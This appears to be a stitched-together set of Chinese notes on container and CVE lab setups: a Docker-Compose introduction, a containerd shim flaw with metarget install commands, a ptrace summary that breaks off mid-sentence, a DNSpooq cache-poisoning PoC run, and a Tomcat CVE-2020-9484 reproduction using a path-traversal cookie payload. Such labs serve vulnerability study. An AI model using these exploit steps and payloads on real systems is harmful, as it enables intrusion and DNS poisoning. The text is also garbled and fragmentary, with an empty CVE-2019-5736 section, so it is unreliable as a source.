Docker-Compose项目是
Docker官方的开源项目,负责实现对
Docker容器集群的快速编排。
Docker-Compose将所管理的
容器分为三层,分别是工程(project),服务(service)以及
容器(container)。
Docker-Compose运行目录下的所有文件(
docker-compose.yml,extends文件或环境变量文件等)组成一个工程,若无特殊指定工程名即为当前目录名。一个工程当中可包含多个服务,每个服务中定义了
容器运行的镜像、参数、依赖。一个服务当中可包括多个
容器实例,
Docker-Compose并没有解决负载均衡的问题,因此需要借助其它工具实现服务发现及负载均衡,比如 Consul。
Compose允许用户通过一个单独的
docker-compose.yml模板文件(YAML 格式)来定义一组相关联的应用
容器为一个项目(project)。
Docker-Compose项目由Python编写,调用
Docker服务提供的API来对
容器进行管理。因此,只要所操作的平台支持
Docker API, 就可以在其上利用Compose来进行编排管理。
漏洞简介
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
containerd < 1.4.3
containerd < 1.3.9
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
2.安装靶场
./metarget cnv install
cve-2019-5736
0x00简介
在5.1.17之前的Linux内核中,kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve可能允许攻击者控制。
0x01漏洞概述
Linux执行PTRACE_TRACEME函数时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数,但是,对象struct cred的生存周期规则不允许无条.
dnspooq
DNSpooq PoC-dnsmasq缓存中毒(CVE-2020-25686,CVE-2020-25684,CVE-2020-25685)
仅用于教育目的
Docker撰写
发射容器
$ docker-compose up -d
运行exploit.py
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds
查看来自转发器容器的输出
$ docker-compose logs -f forw
$ git clone https://github.com/masahiro331/
CVE-
2020-9484.git
$ cd
CVE-
2020-9484
$
docker build -t tomcat:groovy .
$
docker run -d -p 8080:8080 tomcat:groovy
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
$
docker exec -it $CONTAINER /bin/sh
$ ls /tmp/rce